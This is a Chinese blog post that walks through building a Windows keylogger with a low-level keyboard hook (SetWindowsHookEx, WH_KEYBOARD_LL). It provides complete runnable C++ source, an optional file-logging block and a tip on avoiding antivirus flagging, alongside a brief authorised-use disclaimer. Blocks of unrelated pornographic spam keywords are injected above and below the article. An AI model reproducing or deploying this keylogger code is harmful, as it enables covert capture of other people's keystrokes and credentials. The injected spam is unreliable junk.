<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      windows實現鍵盤記錄

      使用 SetWindowsHookEx 編寫鍵盤記錄器(鍵盤鉤子/Keylogger)在技術上可行,通常用于調試、輸入法、輔助功能開發。但出于合法合規目的,請確保僅在你有授權的系統或窗口中使用,比如你自己開發的程序或本地測試,切勿用于竊取他人隱私或非法監控。

      示例:全局鍵盤鉤子(WH_KEYBOARD_LL)

      以下是一個基于 WinAPI 的最小可運行鍵盤記錄器(記錄到控制臺)

      項目設置要求

      • 平臺:Windows
      • 編譯環境:Visual Studio(或 g++ with WinAPI 支持)
      • 鏈接庫:User32.lib

      示例代碼(鍵盤記錄器)

      #include <windows.h>
      #include <iostream>
      #include <fstream>
      
      HHOOK hHook = NULL;
      
      // 按鍵回調函數
      LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
          if (nCode == HC_ACTION) {
              KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;
      
              if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
                  DWORD vkCode = p->vkCode;
      
                  char keyName[32];
                  GetKeyNameTextA((LONG)(p->scanCode << 16), keyName, 32);
      
                  std::cout << "[KEY] VK: " << vkCode << " Name: " << keyName << std::endl;
      
                  // 也可以寫入日志文件
                  /*
                  std::ofstream log("keylog.txt", std::ios::app);
                  log << "Key Pressed: " << vkCode << std::endl;
                  log.close();
                  */
              }
          }
      
          return CallNextHookEx(hHook, nCode, wParam, lParam);
      }
      
      // 安裝鉤子
      void SetHook() {
          hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);
          if (hHook == NULL) {
              std::cout << "Failed to install hook!" << std::endl;
          } else {
              std::cout << "Hook installed." << std::endl;
          }
      }
      
      // 卸載鉤子
      void Unhook() {
          UnhookWindowsHookEx(hHook);
          std::cout << "Hook removed." << std::endl;
      }
      
      int main() {
          SetHook();
      
          // 消息循環,否則鉤子不會觸發
          MSG msg;
          while (GetMessage(&msg, NULL, 0, 0)) {
              TranslateMessage(&msg);
              DispatchMessage(&msg);
          }
      
          Unhook();
          return 0;
      }
      
      
      • WH_KEYBOARD_LL 只能在桌面進程中設置,不能在服務中工作。

      • 這段代碼只是“監聽按鍵事件”,如果你想記錄文本,還需要配合 ToAscii() 或 GetKeyboardState() 轉換為字符。

      • 為防止被殺毒軟件誤報為木馬,避免編譯后的程序駐留后臺、上傳按鍵信息等行為。

      posted @ 2025-08-12 11:11  huh&uh  閱讀(50)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 岛国一区二区三区高清视频| 亚洲男人AV天堂午夜在| 久热这里有精品视频在线| 亚洲成在人线AV品善网好看| 亚洲精品韩国一区二区| 国产精品丝袜亚洲熟女| 成人网站免费观看永久视频下载| 国产三级精品三级| 国产午夜精品亚洲精品国产| 99久久婷婷国产综合精品青草漫画 | 亚洲精品成人无限看| 国产精品美人久久久久久AV| 日本一区二区精品色超碰| 国产人妻熟女呻吟在线观看| 黑人玩弄人妻中文在线| 不卡一区二区国产在线| 成人网站免费观看永久视频下载| 国产精品白丝久久av网站| 日韩在线视频线观看一区| 天堂av网一区二区三区| 99riav国产精品视频| 人妻激情文学| 欧美丰满熟妇xxxx性ppx人交| 人妻饥渴偷公乱中文字幕| 亚洲中文字幕在线二页| 精品国产一区二区三区香| 国产免费又黄又爽又色毛| av无码小缝喷白浆在线观看| 男女啪啪18禁无遮挡激烈| 国产精品青青青高清在线| 国产一级r片内射免费视频| 国产一区二区午夜福利久久| 和田县| 亚洲天堂成人黄色在线播放| 国产成人小视频| 国产一区二区三区我不卡| 亚洲第一福利网站在线| 无码日韩精品一区二区三区免费 | 国产熟睡乱子伦午夜视频| 桐乡市| 欧美人成精品网站播放|